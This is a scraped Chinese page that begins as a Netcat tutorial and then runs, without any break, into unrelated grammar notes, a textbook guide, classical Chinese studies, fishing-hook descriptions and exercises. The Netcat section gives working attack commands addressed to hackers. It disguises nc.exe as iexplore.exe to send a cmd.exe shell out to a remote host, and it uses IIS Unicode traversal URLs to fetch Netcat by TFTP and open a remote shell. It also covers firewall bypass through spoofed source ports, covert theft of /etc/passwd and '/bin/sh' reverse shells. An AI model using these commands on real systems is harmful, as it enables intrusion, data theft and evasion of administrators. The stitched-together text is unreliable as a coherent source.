Netcat用法
Netcat用法--服务泄漏内部信息
要得到某些端口号的详细信息，可以连接到某个端口，对应的服务会告知它的版本号、结构甚至其工作的操作系统。所以，可以使用Netcat来扫描一个特定范围内的端口并报告在这些端口上运行的服务。
要使Netcat自动工作，必须在命令行中提供输入，这样它才不会由于没有来自用户的标准输入而导致阻塞。如果只是简单的运行nc192.168.0.2，会看不到任何信息，因为他会因为不知道应该连接到什么应用程序，而在连接的时候就被阻塞，这时他将等待进一步指令。如果需要指出为了让这些服务告诉我们更多的消息而应该首先发送给他的数据。这样如果通知QUIT这些服务，将会引起混淆，在这个过程中他们将会泄漏更多关于自身的信息。
[root@sasa nc]#echo QUIT|./nc-v192.168.0.2212280
注意：当自动连接到多个端口的时候，至少要使用一个-v选项，这样就可以将一个连接与下一个连接区分开来，同样，如果自动连接到多个端口并且其中有一个为Telnet 服务器，则需要使用-t选项，否则会在进行Telnet选项协商的时候出现问题。通常一个较好的解决办法是跳过端口23并对其进行单独访问。
系统管理员可以通过改变源代码或配置文件来该表这些提示，从而提供虚假的错误信息。这种欺骗不会让服务更安全或阻止技术高超的黑客，但偶尔也会有些作用。如果修改了提示，设计来通过检查特定提示的蠕虫也许不能攻击该服务器了。当然并没有理由说蠕虫编写者一定会设计这个选项。一个有漏洞的服务总是会受到攻击的。
Netcat代理和中继
可以使用与上一节相同的技术来创建一个Netcat代理和中继。一个进行监听的Netcat可被用来生成另一个连接到不用主机或端口的Netcat连接，这样就创建了一个中继。
使用这种特性要求具备脚本的知识，因为Netcat的-e选项只有一行命令（而且也没有命令行参数），因此需要将所有在脚本中运行的命令一并打包。这非常有趣，我们可以创建一个能够跨越多台不同主机的中继。这种技术可以用户创建一个复杂的“通道”，如果黑客应用这种技术，那么系统管理员就很难追踪到我们。
这个特性也可以用在正常用途上，例如，中继特性可以让Netcat做Web代理。具体方法是：使Necat在不同系统的80端口上进行监听，让它来建立所有的Web连接（使用脚本），并经过这些连接传送数据。
Netcat用法--设置蜜罐
通过在一个众所周知的端口上进行监听的Netcat实例，而这个端口是一名黑客认为可能会
找到易受攻击的服务的端口，就可以误导这名黑客，让他们认为运行了这个服务（实际上并没有运行）。如果仔细配置的话，设置可以诱骗黑客。
[root@sasa nc]#./nc-l-v-e fakemail.pl-p25>traplog.txt
假冒的mail脚本可以向外界传达信息，说它运行了一个“正常”的sendmail，并暗示别人来尝试攻击他。一旦连接终止（EOF），脚本需要重启相同的Netcat命令。如果有人开始试图攻击这个站点，那么在脚本中可以使用yes命令来随便用什么垃圾数据淹没他，即使不想这么野蛮，也至少可以在traplog.txt中找到这名黑客的IP地址。
也可以开一个无伤大雅的玩笑，当用户连接到该端口时仅仅输出一些有趣的提示信息
切记：如果想完成比向端口发送大量报文更复杂的工作，例如接受用户输入，一定要确保该陷阱不会因此而引入某些不可预见的漏洞。
Netcat用法--隐藏和查找后门
黑客可能尝试一种完全不同的方法。例如，如果他们入侵了一台上网冲浪的用户访问的Citrix服务器，用户就可以看到很多域名系统（Domain Name System,DNS）查找操作以及大量的Web连接。运行netstat-a-n命令可以知道在TCP端口80上外出连接的负载。除了可以使用Netcat运行一个实例，在Windows系统上进行监听并等待连接之外，还可以用它把cmd.exe程序的输入与输出通过管道传输给在远程系统的端口80上进行监听的另一个Netcat实例。最后，这个黑客运行：
[root@sasa/root]#nc-l-p80
黑客可以通过下面的命令在Windows系统中隐藏Netcat:
c:\>mkdir c:\Windows\System32\Drivers\q
c:\>move nc.exe c:\Windows\System32\Drivers\q\iexplore.exe
c:\>cd Windows\System32\Drivers\q
c:\Windows\System32\Drivers\q\iexplore.exe
cmd line:-d-e cmd.exe sasa80
c:\>Windows\System32\Drivers\q>
现在，监听的Netcat应该从Windows系统中选择一个命令Shell，这样可以更好的隐藏后门而不被系统管理员发现。乍看起来，连接就像Internet Explorer建立的一个常见的HTTP连接一样。对于黑客而言，这种方法的唯一缺点是，当Shell终止以后就没有办法在Windows端重新启动它了。
下面有几种方法可以让系统管理员发现Netcat的入侵：
使用Windows的文件查找工具来搜索包含诸如“listen mode”或“inbound connects”这样的文件字符串的文件，或者在nc.exe库中硬编码的另一个字符串。所找到的任何可执行文件都可能是Netcat.
检查任务管理器（Task Manager）来查找任何欺骗性的cmd.exe文件。如果cmd.exe 文件莫名其妙的运行起来，就说明发生了黑客攻击，除非黑客把cmd.exe重命名了。
使用Netstat命令或Fport命令来观察当前正在使用的端口和使用这些端口的应用程序。然而，使用netstat时一定要小心，因为他可以很容易的被替换成“特洛伊木马”版本的程序，该程序被黑客精心加工过，可以隐藏黑客特定的活动，同样，某些时候Netstat并不报告正在进行监听的TCP套接字，除非某些程序已经连接到这些套接字。
使用Netcat默认的MD5指纹检查文件：ab41b1e2db77cebd9e2779110ee3915d。重命名或者隐藏文件都不会影响其指纹；然而，压缩工具和二进制编辑器可以用来修改该值。现在，我们已经知道了得到Windows机器上远程shell的两种不同用法。显然，有一些因素可能影响到这两种方法的成功率，如防火墙、端口过滤器和实际上是HTTP头过滤器的代理服务器（这里只列出了很少一部分）。
这种使用Netcat的方法推动了人们对IIS（Internet Information Server）4.0的Microsoft数据访问组件（Microsoft Data Access Components,MDAC）及Unicode漏洞的攻击活动。虽然有一些变化，但是在任何情况下，这种攻击都将利用有这些漏洞的服务来使得任何人都可以通过特定的URL像IIS用户一样在系统内执行命令。这种攻击可以使用诸如普通文件传输协议（Trivial File Transfer Protocol,TFTP）之类的程序从TFTP服务器的远程系统上下载一个nc.exe并运行后门命令。下面是试图使用TFTP利用Unicode的漏洞来从远程位置下载Netcat的URL:
https://www.360docs.net/doc/6b16017084.html,/scripts/../%c1%pc/../winnt/system32/cmd.exe?c+tftp%20-i%20s asa%20GET%20nc.exe%20update.exe
如果成功，这个命令将把https://www.360docs.net/doc/6b16017084.html,上的Netcat下载到Inetpub\Scripts目录下并改名为update.exe。黑客接下来可以使用另一个URL来启动Netcat:
https://www.360docs.net/doc/6b16017084.html,/scripts/../%c1%pc/../inetpub/scripts/update.exe?-l%20-d%20-L%20-p%20443%20-e%20cmd.exe
远程登录到系统的443端口将得到一个命令提示符。这是一种有效且简单的攻击方法，并且这种方法还可以被脚本化和自动化。然而，这种方法会留下明显的痕迹。比如，所有使用的URL将会被系统记录在IIS日志中，那么只要搜索IIS日志的tftp部分就能发现是否有人曾尝试进行这类攻击。同样，大多数当前的IDS软件将会寻找这种格式的URL（即URL中包含cmd.exe或特殊的Unicode字符）。
可以做一些事情来防止这种类型的攻击：
确保IIS是最新的安全更新版本
为IIS5.1及更早版本安装并配置URLscan以及IIS Lockdown Wizard工具。
在防火墙外阻塞所有从Web服务器出站的连接。在大多数情况下，Web服务器并不需要主动建立与外界的连接。虽然您的IIS易受攻击，但由于它不能连接到攻击者的tftp服务器，因此TFTP连接将会失败，从而保护了系统。
Netcat用法--绕过端口过滤器
如果您是一名黑客，那么可以使用Netcat来帮助您绕过防火墙。染过防火墙和端口过滤器的唯一方法是把不允许通过的流量伪装成允许通过的流量。
一些防火墙允许内部网络中源端口号为20而目标端口号较高的入站是流量通过，以支持FTP功能。如果防火墙配置得不好的话，使用nc-p20targethost6000命令就可以让您访问targethost的X server。它可能认为您到targethost的X server的访问是一个入站的FTP数据并让您通过。大多数防火墙会显式地把端口号6000排除在可以访问的端口范围之外，但是如果从源端口20连接，仍然可以与端口号高于1024的服务会话。
DNS也有同样的问题。几乎所有的防火墙都不得允许出站的DNS数据，但是没有必要允许入站的DNS数据。如果系统在允许双向的DNS的防火墙后面，就可以使用这种特殊的性通过赋予不被允许通过的流量一个源端口号53，而使得他们通过防火墙。从防火墙背后运行nc-p53targethost9898命令可以绕过过滤器，而这个过滤器通常情况下会阻塞出站的America Online(AOL)Instant Messenger流量。虽然必须处理这种情况，但弄中您可以看到任何使用Netcat来探索规则不严格的防火墙漏洞。
系统管理员将会检查像这样的系统漏洞。对于初学者来说，通常可以对任何DNS 的TCP流量采取禁止措施，这将避免大量DNS端口过滤问题。强迫用户使用被动FTP，这种被动FTP禁止服务器能够在TCP端口20上建立与客户的反向连接，可以取消这个漏洞。
有一篇微软的技术文章（https://www.360docs.net/doc/6b16017084.html,/kb/813878）描述了一些潜在问题，攻击者可以使用88端口进行扫描。88端口上运行了Windows的IPSec服务。
Netcat用法--构建自己的FTP
Netcat允许用户建立数据管道，它提供了哪些好处呢？
通过端口过滤器的文件传输通过把输入和输出文件放在数据管道的两端可以有效的从一个网络位置向另一个网络位置发送或者复制文件而不需要使用任何的“正式”的文件传输协议。如果您可以访问一个系统的Shell，但是因为端口过滤阻塞了FTP、NFS （Network File System）及Samba共享功能而不能与之进行任何类型的文件传输，就可以选择这种方法。在源文件所在位置上运行下面的命令：
nc-l-u-p55555 从客户端运行 nc-u-targethost555555>copy_of_file 建立了连接后将立即开始传输文件，除非遇到EOF（Ctrl+c），否则整个文件将保持完美无缺。 隐蔽（Cocert）文件传输黑客可以使用Netcat来从系统传输文件而不会保留下任何审计踪迹，虽然FTP或安全复制（Secure Copy,scp）将留下日志记录，但Netcat 不会。 nc-l-u-p55555 当黑客连接到命令中的UDP时，可以下载/etc/passwd文件而不会让任何人知道（除非此时系统管理员正在运行ps(显示进程状态命令)或netstat命令），而这是很难碰到的事情。 获得应用程序的输出假定编写了一个脚本把一些重要的系统文件（如passwd、group、inetd.conf和hosts.allow）显示到标准输出设备上，并运行一些系统命令（如uname、ps和netstat）来得到这些信息。假设把这个脚本称为sysinfo，那么在目标机器上可以运行下面的命令： nc-l-u-p55555-e sysinfo 或者： sysinfo|nc-l-u-p55555 这样就可以获得该命令的输出了，使得下面的命令可以将这些信息写入sysinfo.txt文件中： nc-u target55555>sysinfo.txt 这两个命令都把sysinfo脚本的输出通过管道传送到进行监听的Netcat，并由它通过网络管道将这些数据送到任何一个连接上。-e选项表示把I/O“移交”到它所执行的应用程序。当sysinfo的I/O完成后（遇到EOF），监听者就会关闭，客户端也会关闭。如果sysinfo 通过管道得到输入，那么sysinfo的输出也将传送给客户端，但Netcat将处理这个I/O.客户端将不会接收到EOF并等待看监听者是否发送更多的数据。 同样，利用它可以做一些非恶意的工作，例如，可以在目标机器上建立与本地机器上的Netcat的连接。如果运行nc-l-u-p55555>sysinfo.txt命令，Netcat将会在本地机器上进行监听，同样有两个命令可供选择； nc-u-e sysinfo homehost55555 或者 sysinfo|nc-u homehost55555 在UNIX系统中，当启动netcat时，如果要使用-e选项运行的命令没有在当前工作目录中，那么就需要指定这个命令的全路径名。Windows版的Netcat还可以使用%PATH%变量，且没有这一限制。 同样，两者的区别是使用管道将让客户端保持打开状态，即使sysinfo已经发送完成了它的输入也保持打开，而使用-e选项将让netcat客户端在sysinfo结束时立即关闭。当想在远程主机上运行一个应用程序并通过Netcat的数据管道做I/O时，这两种模式的不同之处是显而易见的 获得对应程序的控制在“获得对shell的远程访问”小节中，我们描述了怎么样在Windows系统中启动一个远程shell，也可以在Unix系统中完成相同的工作。 nc-u-l-p55555-e/bin/sh 使用nc-u targethost55555命令连接后，shell被启动并让您通过管道与他进行交互。-e选项把I/O控制完全交给Shell，记住，如果希望在推出shell后这个后门仍然打开，那么这个命令需要放在脚本的while循环中，因为一旦退出了shell，Netcat就会关闭双放的连接，就像/bin/sh结束时一样，Windows版的Netcat可以使用-L选项来解决这个问题。 与上一个例子相似，也可以把对本地应用程序的I/O控制权交给进行监听的Netcat 实例（nc-u-l-p55555）,执行下面的命令：nc-u-e/bin/sh homehost55555您可以使用任何交互式应用程序，只要他们是完全基于文本而没有异常的终止选项。 介词?f rom的语法特点与用法习惯 1.不要根据汉语意思在及物动词后误加介词?from。如： 他上个星期离开中国去日本了。 误：?H e left from China for Japan last week. 正：?H e left Chine for Japan last week. 另外，也不要根据汉语意思错用介词?from。如： 太阳从东方升起，从西方落下。 误：?T he sun rises from the east and sets from the west. 正：?T he sun rises in the east and sets in the west. 2.f rom虽然本身是介词，但它有时也可接介词短语作宾语。如： Choose a book from among these. 从这些书中选一本吧。 A man stepped out from behind the wall. 一个人从墙后走出来。 比较： I took it from the bed. 我从床那儿（或床上）拿的。 I took it from under the bed. 我从床下拿的。 注意，下面一句用了?from where（引导非限制性定语从句），而未用?f rom which，其中的where=i n the tree，即?from where=f rom in the tree。如： He hid himself in a tree, from where he could see the enemy in the distance. 他躲在一棵树上，从那儿他可以看到远处的敌人。 3.有时其后可接?w hen, where引导的宾语从句，此时可视为其前省略了?t he time, the place。如： He didn’t speak to me from when we moved in. 从我们迁入之时起，他没和我说过话。 动名词的语法特征及用法 动名词由动词加－ing词尾构成，既有名词的特征，又有动词的特征。了解动名词的语法特征可帮助学习者深入理解动名词的意义，从而正确使用动名词。 一、动名词的名词特征 动名词的名词特征表现在它可在句子中当名词来用，作主语、宾语、表语、定语。例如： Beating a child will do more harm than good．打孩子弊大于利。（作主语） Do you mind answering my question？你不介意回答我的问题吧？（作宾语） To keep money that you have found is stealing．把拾到的钱留起来是偷盗行为。（作表语） No one is allowed to speak aloud in the reading room．阅览室里不许大声说话。（作定语） 在动名词担任这些句子成分时，学习者需注意的是： 1、有些动词后只能用动名词作宾语，构成固定搭配，需特别记忆。常见的这类动词有：admit（承认），advise（建议），allow（允许）， appreciate（感激），avoid（避免），can't help（禁不住），consider（考虑），deny（否认），dislike（不喜欢），enjoy（喜欢），escape（逃脱），excuse（原谅），feel like（想要），finish（结束），give up（放弃），imagine（想象），involve（包含），keep（保持），mind（介意），miss（错过），permit（允许），practise（练习），quit（停止），recollect （记得），recommend（推荐），suggest（建议），stop（停止），resent（对……感到愤恨、怨恨），risk（冒……危险），cannot stand（受不了）等。例如： We do not permit smoking in the office．我们不允许在办公室吸烟。 In fighting the fire，he risked being burnt to death．在救火中，他冒着被烧死的危险。 She denied having stolen anything．她否认偷过任何东西。 I suggest doing it in a different way．我建议换一个方法做这件事。 2、动名词常用于一些固定句型中，常见的有：It is no use ／no good．．．；It is a waste oftime．．．；It is fun ／nice ／good．．．；There isno．．．（不可以／不可能……）等。例如： It is no use asking him．He doesn't know any more than you do． 问他也没用，他并不比你知道得更多。 It's no fun being lost in rain．在雨中迷路可不是好玩的。 It's a waste of time your reasoning with him．你和他讲道理是在浪费时间。 {1} 1. 名词（le nom, le substantif）的特点 名词是实体词，用以表达人、物或某种概念，如：le chauffeur（司机），le camion（卡车），la beauté（美丽）等。 法语的名词各有性别，有的属阳性，如：le soleil（太阳），le courage（勇敢），有的属阴性，如：la lune（月亮），la vie（生活）。名词还有单数和复数，形式不同，如：un ami（一个朋友），des amis（几个朋友）。 法语名词前面一般要加限定词（le déterminant），限定词可以是数词、主有形容词，批示 形容词或冠词。除数词外，均应和被限定性名词、数一致，如：la révolution（革命），un empire （一个帝国），cermarins（这些水手），mon frère（我的兄弟）。https://www.360docs.net/doc/6b16017084.html, 大部分名词具有多义性，在文中的意义要根据上下文才能确定，如： C’est une pluie torrentielle.（这是一场倾盆大雨。） Lorsque rentre la petite fille, c’est sur elle une pluie de baisers.（当小姑娘回家时，大家都拥上去亲吻她）。 第一例, pluie是本义，第二例, pluie是上引申意义。 2. 普通名词和专有名词（le nom commun et le nom propre） 普通名词表示人、物或概念的总类，如：un officier（军官），un pays（国家），une montagne （山），la vaillance（勇敢、正直）。 专有名词指特指的人、物或概念，如：la France（法国）。 专有名词也有单、复数；阴阳性。如：un Chinois（一个中国男人），une Chinoise（一个中国女人），des Chinois（一些中国人）。 3. 普通名词和专有名词的相互转化（le passage d’une catégorie àl’autre） 普通名词可转化为专有名词，如：报刊名：l’Aube（黎明报），l’Humanité（人道报），l’Observateur（观察家报）等报刊名称是专有名词，但它们是从普通名词l’aube（黎明），I’humanité（人道），l’Observateur（观察家）借用来的。 专有名词也可以转化为普通名词，意义有所延伸，其中许多还保持第一个字母大写的形式，如商品名：le champagne（香槟酒），une Renault（雷诺车），le Bourgogne（布尔戈涅洒）。以上三例分别来自专有名词la Champagne（香槟省），Renault（雷诺，姓），la Bourgogne（布尔戈涅地区）。 4. 具体名词和抽象名词（les noms concrèts et les noms abstraits） 常见系动词的分类及使用特点 系动词词义不完整，在句中不能单独使用（除省略句外），后面必须接有表语，系动词和表语一起构成合成谓语。常见的系动词大致可分为三类。 第一类：表示特征或状态的，有 be, look, feel, seem, appear, smell, taste, sound, turn out（结果是、证明是）等。 You'll be all right soon. You don't look very well. I feel rather cold. He seems to be ill. It appears that he is unhappy. The roses smell sweet. The mixture tasted horrible. How sweet the music sounds! The day turned out (to be）a fine one. 第二类：表示从一种状态到另一种状态的变化，有 become, get, grow, turn, fall, go, come, run 等。 He became a world-famous scientist. It is getting warmer and warmer. It grew dark. The food has turned bad. Yesterday he suddenly fell ill. Mary's face went red. His dream has come true. The boy's blood ran cold. 第三类：表示保持状态的，有keep, remain, continue 等。 Keep quiet, children! The weather continued fine for a long time. It remains to be proved. 系动词后的表语可以是名词、代词、数词、形容词、分词、动名词、不定式、副词、介词短语、词组、从句，系动词 be 可用于上述所有情况。如： The people are the real heroes. (名词) That's something we have always to keep in mind. (代词) She is often the first to come here. (数词) She is pretty and wise. (形容词). The news was surprising. (分词) His job is teaching English. (动名词) The only method is to give the child more help. (不定式） I must be off now. (副词) The bridge is under construction. (介词短语) That would be a great weight off my mind. (词组) This is why he was late. (从句) 系动词的使用特点： 1、所有的系动词都可接形容词作表语，此处略举数例。 统编《语文》二年级下册主要特点及使用建议 原创 2018-03-21 张立霞人教教材培训 导读 2018年春季统编《语文》二年级下册教材网络培训讲义精要。 一、激发儿童学习兴趣，保护儿童天性 1. 选文富有童趣，利于激活儿童的经验、想象。 儿童有自己的世界，有应予尊重的天性。为顺应儿童心理，保护儿童天性，提高教育、教学效果，教科书进行了多方面的尝试与探索。 首先选文富有童趣，利于激活儿童的经验、 想象。生活故事，注意选择儿童凭借有限的生活经验就能理解的文本。童话故事，知识背景相对简单，利于减少阅读障碍。孩童化的表达，贴近儿童的心灵，同时又含了某种诗意和哲理。读起来好玩、有趣，同时内心里会沉淀些有份量的、值得未来去品味的东西。 教材的选文注重借助该年龄段有限的现实经验和相对丰富的想象，激发学习的动力和兴趣。 2. 采用游戏、活动等方式让学生在玩中学。 课后练习：在准确把握习题意图的前提下，尽可能寻找练习中的游戏、活动因素，让学习变得有趣、轻松。 文中泡泡。 字词句运用。 口语交际。 3. 注意练习的趣味性，减少畏难情绪。 写话： （1）精心设计写话内容及呈现方式，尽可能减少畏难情绪。表格的呈现方式，直观提示要写的内容，表格的示例内容也尽量贴近儿童真实生活，利于调动生活积累。 （2）色彩丰富的画面，儿童化的角色选择，有趣的情节设定，可以调动儿童的参与积极性，减少写话障碍。 （3）引导学生不拘形式地写下自己想说的话。 二、注重文化传承，立德树人自然渗透，涵养品格 教科书中的课文，“有意思”与“有意义”兼具，在激发学生学习兴趣的同时，有助于学生的精神成长。教科书统筹安排中华优秀传统文化内容，增强学生的文化认同感和民族自豪感。 析论古代汉语中“以”字的虚词用法 董丽 论文摘要：本文在介绍“以”字来源，字形的演变及“以”字词性的发展演变过程的基础上，对“以”字在古代汉语中的虚词用法从介词、连词、副词及连用结构等方面进行了分析和论述。着重对“以”字的7种介词用法，10种副词用法分别进行分类举例说明。 关键词：古代汉语以虚词介词连词副词连用结构 “以”字是一个历史悠久的古老词，随着历史的发展演变,它的用法不断扩展，词义不断增加，词性有所改变，它不仅是一多义词，而且还是一个多性词，了解它、掌握它正确地使用它，对我们说汉语的人和学汉语的人都是十分必要的。 在古代汉语中，“以”字是一个多性词。“以”字在甲骨文中作为和。古文作“吕”。《说文·已部》：“耜，用也，从反巳。贾侍中说，已意已实也。象形。”段玉裁注：“谓人意已坚实，见诸施行也。”或自行之，或用人行之。并把造字由象形改为指事亦象形。徐中舒认为，耜即耜的本字，象农具耜形，“耜为用具，故古文借为以字。以，用也。”“以”字最早作为动词“用”义，这是毫无疑义的了。 用作本义“耜”的“以”，在古代典籍中已很难见到，一般只用后起字“耜”。如“寿略其耜，俶载南亩。”（《诗经·周颂·载芟》） “以”字作动词用，表“率领”之意是比较早的。在甲骨文中，“以”字就不限于作动词“用”义了。例如: 1.乙亥,贞令佀眾□，受又（祐）。（郭沫若《卜辞通篡》106页） 这是一段表示征伐的卜辞，句中“以（佀）即为动词“率领带领”义。 2.庚辰王卜，才贞，今日其逆旅以执于东单。亡。 “以字应训为与，执指俘虏言之。这一条是说，今天应该迎接凯旋的师旅于东单，没有灾害的。”（于省吾《甲骨文字释林》）。句中“以”应是连词。 到了西周金文，“以”有了更大发展，单独作谓语的已经非常少。例如： 3.伯懋父以殷八师征东尸。（小臣簋） 4.王以侯内于寝。（麦方尊） 5.以乃师左比毛父。（班簋） 各种鱼钩的特点及使用介绍 袖：此钩型无倒刺。钩尖锋利，钩柄长，钩条细钩身轻，适用于吸入取食的小型鱼种，快钓快取，多用于钓白鲫、小白条等 伊豆：此钩型有倒刺，钩尖稍向外歪，钩柄较长，钩尖锋利。适用于淡水，适用于钓鲮鱼、乌头鱼等。 小矶：此钩有倒刺。钩柄较之伊势尼更短，钩身更粗，钩身呈稍圆弧。鱼的吃钩率高。适用于淡水鲤鱼、草鱼、乌头鱼等。 伊势尼：此钩分为有倒刺和无倒刺两种。钩柄短，钩身粗，鱼钩的硬度好。鱼吃入嘴后不易吐钩，吃钩率高于长柄钩，适用于淡水钓取大鱼。如：草鱼，大头鱼，鲤鱼等。在抛钓中，也常用此钩制成吸食爆炸钩 千又：此钩型有倒刺，多为长柄，钩尖向内弯，与钩柄不平行且向外倾斜（俗称“歪嘴钩”），鱼吞钩后不易吐钩逃脱。适合于淡水多种鱼类，也是最为常用的海钓钩。 管付千又：此钩型钩柄尾端弯成圆形，钩型同千又一样，渔线经过钩柄圈系住钩，拴线牢固，以钓取较大鱼类。多用于海钓凶猛鱼类，鱼吃钩后不易逃脱。 新关东：此钩型无倒刺，钩柄长，钩尖锋利，钩门较宽，，上鱼率高，有快钓快取的优越性。适合钓淡水鱼种。如：鲫鱼，罗非鱼等。 改良新关东：此钩型在新关东的钩型上稍改进，钩柄较之新关东更长，快钓快取，适用于淡水鱼种。 鱿鱼钩：鱿鱼钩：多用于海水，针对鱿鱼专用，一般拖钓为主，采用抛、拖、逗、摆的钓法。它的引诱力强，上鱼快。现在市面上的鱿鱼钩可分为：猎人虾、莹光虾、沉浮型、带铅型等。 铁板钩：铁板钩：在深海或近海拖钓、底钓钓法中，铁板是作钓饵及铅坠用。它的样式五花八门，颜色以鲜艳为主。在水中的状态能使海鱼产生很大的吸引力，而它所用的三叉钩有三个钩尖，可使鱼上钩的潜力大增。适合的鱼群有大眼金枪鱼、青干、白卜、七点鲹等。 爆炸钩：爆炸钩：用于海竿钓法。上面的透明胶管设计可以以防止钩与钩之间的缠绕。强拉力红锦纶线下，六枚鱼钩环形张开 昆虫拟钩：用羽毛等绑扎在鱼钩上拟似昆虫 なら的基本特性和用法 1、なら的基本特性——假设型连接 所謂“假設型連接”，指前項純粹是一個假設（說話者不一定承認假設是事實），說話者以這個假設為出發點，提出自己的看法（後項）。 ①雨が降るなら、運動会は中止するだろう。 前項“下雨”純屬假設，說話者也許承認，也許承認不會下雨，但他還是以假設為出發點，來考慮運動會的問題，提出大概會暫停的看法。 2、なら句的特点 A、前項不表示事實的設定，而是命題（說法）的設定。 ②雨が降れば、運動会は中止するだろう。 ②’雨が降るなら、運動会は中止だろう。 ②的前項表示“下雨”這個事實如果是真的，②’的前項表示“下雨”這個說法如果是真的。說法是真的，並不意味著一定是真的。說法可能與事實相符，那麼前項也是真的；說法與事實不符，前項就是假的。如屬後一種情況，相當於“というなら”。然而，究竟屬於哪種情況，句子本身難以判別。 正因为如此，なら句往往会产生两种理解。③的第一种意思:雨が降るのが事実であれば（私はそう信じているが）、運動会は中止するだろう。第二种意思：雨が降るといううわさが事実であれば（私は信じないが）、運動会は中止するだろう。 因为なら承认的是某种说法，有此说法不一定有此事实，说话者对事实可能是怀疑的。 ③春が来れば花が咲く。 ③’春が来るなら花が咲く? 说话者对③’中“春が来る”抱怀疑态度，这有悖于常理，所以③’不成立。 B、表示虚构事件的なら ④いい映画をやっていれば、見に行ったでしょう。 ④’いい映画をやっていたら、見に行ったでしょう。 ④”いい映画をやっていたなら、見に行ったでしょう。 ④’表示虛構事件，實際上並沒有放過電影。但这种虚构不是由于ば、たら表示的，而是由於後項た表示的。 ④”的前項有兩種理解。一是說話者认为真有可能放过电影，这时句子表示的事件可能是真实的；而是认为事实上没有放过电影，这时句子表示的事件是虚构的。也就是说なら句都有可能表示虛構事件，而且虛構是由なら本身表示的。也就是说なら句都有可能表示虚构事件，而且虚构是由なら本身表示的。 C、なら句前后项在时序上的顺置和倒置 ⑤この本を読むなら、答えが出るでしょう。 ⑥雨が降るなら、運動会は中止するはずだ 例⑤“答えが出る”出现于“読む”之后，前后项在时序上是倒置。例⑥的“中止する” 发生在“降る”之前，前后项呈倒置时序。例⑤⑥的时序关系如下： 軸 英语名词的所有格用法与特点 英语名词有三个格，即主格、宾格和所有格。名词的主格和宾格形式相同，所以它们又统称作通格。当名词用作主语、宾语、表语时，用通格。英语名词的所有格表示所属关系，它分-’s 所有格和of 所有格两种形式。 一、–’s所有格的构成方法 单数名词或不带复数词尾-s的复数名词尾均加词加-s 构成所有格，但若复数名词已带有词尾-s，则只加省字撇(’)构成所有格。如： We found the man’s wallet in a women’s room. 我们在女厕所找到了这个人的钱包。 The test is beyond the students’abilities. 这测试超过了学生的能力。 注：(1) 对于带词尾-s的单数名词，通常仍加-’s，而对于带词尾-s的人名，可加-’s 或只加省字撇(’)： I’m glad at the boss’s promise to increase the workers’pay. 我很高兴老板答应提高工人们的工资。 (2) 如果两个名词并列，并且分别带有-’s，则表示“分别有”；若只带一个–’s，则表示“两者共有”。如： This is Tom and Jim’s room, and these are Jack’s and Mary’s rooms. 这间汤姆和吉姆的房间(两人共用)，这两间是杰克和玛丽(各自)的房间。 二、-’s所有格的用法特点 -’s 所有格主要用于有生命的东西，但有时也可用于无生命的东西，如用于表时间的名词后、用于表国家、城市的名词后、用于组织机构后、用于某些集合名词、用于度量衡及价值名词后等。如： What are today’s assignments? 今天的作业是什么? She’s had several months’experience. 她已有了几个月的经验。Hainan is China’s second largest island. 海南是中国第二大岛。Let’s wait in the station’s waiting-room. 我们车站候车室等吧。注：名词所有格并不一定表示所有关系，有时可能表示其他意义，如表示类别、动作执行者或承受者等。如： This is a children’s hospital. 这是一家儿童医院。（表类别） We were all waiting for the famous popular singer’s arrival. 我们都在等那位著名流行歌曲歌手的到来。（表动作执行者） They had no money to pay for their son’s education. 他们没有钱支付儿子的教育费用。（表动作承受者） 三、两种所有格的用法比较 of 所有格既可用于有生命的人或物，也可用于无生命的东西。of 所有格有时可以与-’s 所有格互换。如： Mr Smith’s son = the son of Mr Smith 史密斯先生的儿子 浅析古代汉语“以……为……”的意义和用法 古代汉语中的“以……为……”格式，使用范围比较广泛，“以”和“为”更是一个使用频率很高的兼类词。各家古汉语词典、古汉语语法以及古汉语虚词字典、词典对“以为”“以……为……”有不同解释和不同层面的分类。本文就“以为”“以……为……”的意义和用法做一浅析，以求教于方家。 “以”和“为”在古汉语中是生命力极强的两个具有独立意义的词，为了分析“以为”“以……为……”的意义和用法，很有必要对“以”和“为”的本义和引申义及其基本用法作一具体分析。 “以”是古汉语中使用频率很高的一个词。《说文解字》：“以，用也。”《辞源》、《王力古汉语字典》的第一个义项都译为“动词，用”，这说明“以”的本义是“用”，作动词。例如：今方来，吾欲辱之，何以也？（《晏子春秋·晏子使楚》）其中的“以”就作“用”解。动词“以”又引申为“认为”“以为”。由于语言的发展变化，“以”的动词意义逐渐弱化，并最终变成一个介词。由动词义引申为介词“把”“拿”等义。后来又用作连词、代词、副词、助词、名词、语气词，在先秦已有用例，后沿用于文言中。 “以”的应用范围广泛，表意也较复杂，可作连词、副词、代词、名词、语气词、介词。 作介词是“以”最常见的用法。“以”作介词和它的宾语一起用于动词前后，表示与动作行为有关的种种关系。情况也比较复杂，常见有以下六种用法： a.引进动作、行为的工具、凭借、身份、计算单位等。“以”及其宾语可在动词前也可在动词后。可译为“用”“凭借”“按照”“拿”“根据”等。此义是介词“以”的基本义，其它的意义都是从这引申派生出来的。例如： （1）不用，则以纸帖之。（《活板》） （2）今以蒋氏现之，犹信。（《捕蛇者说》） 用”以”引进“帖”的工具“纸”，“以”译为“用”。例（2）介词“以”引进“观”的凭借“蒋氏”（的遭遇），可译为“根据”。 b.引进动作施行的原因。作“因为”“由于”解释。例如： （1）而吾以捕蛇独存。（《捕蛇者说》） （2）不以物喜，不以己悲。（《岳阳楼记》） 例（1）“以”引进“存”的原因——“捕蛇”，“以”译为“由于”。例（2）“喜”“悲” 一、解释各句中“以”的意义以及用法。 1、以吾一日长乎尔，毋吾以也 2、自以寿不得长 3、以天下之美为尽在己 4、至丹以荆卿为计，始速祸焉 5、忠不必用矣，贤不必以 6、如或知尔，则何以哉？ 7、宫之奇以其族行 8、农民以鬻子者 9、无以，则王乎！ 10、不以物喜，不以己悲 11、不赂者以赂者丧 12、以其乃华山之阳名之也 13、武以始元六年春至京师 14、余以乾隆三十九年十二月，自京师乘风雪 15、不以此时引纲维，尽思虑 16、愿以十五城请易璧 17、请其矢，盛以锦囊 18、其系燕父子以组 19、余船以次进 20、物以类聚，人以群分 21、高祖以圣武定鼎 22、以相国守代 23、以资政殿学士行 24、夫夷以近，则游者众；险以远，则至者少。 25、以其求思之深而无不在也 26、又以悲夫古书之不存 27、诸侯以公子贤，多客，不敢加兵谋魏十余年 28、木欣欣以向荣 29、作《师说》以贻之 30、举以予人，如弃草芥 31、背晋以归梁 32、得鱼腹中书，固以怪之矣 二、下列加点的“以”字意义和用法相同的是( ) A.赵亦盛设兵以待 B.秦亦不以城予赵，赵亦终不予秦璧 C.夫夷以近，则游者众 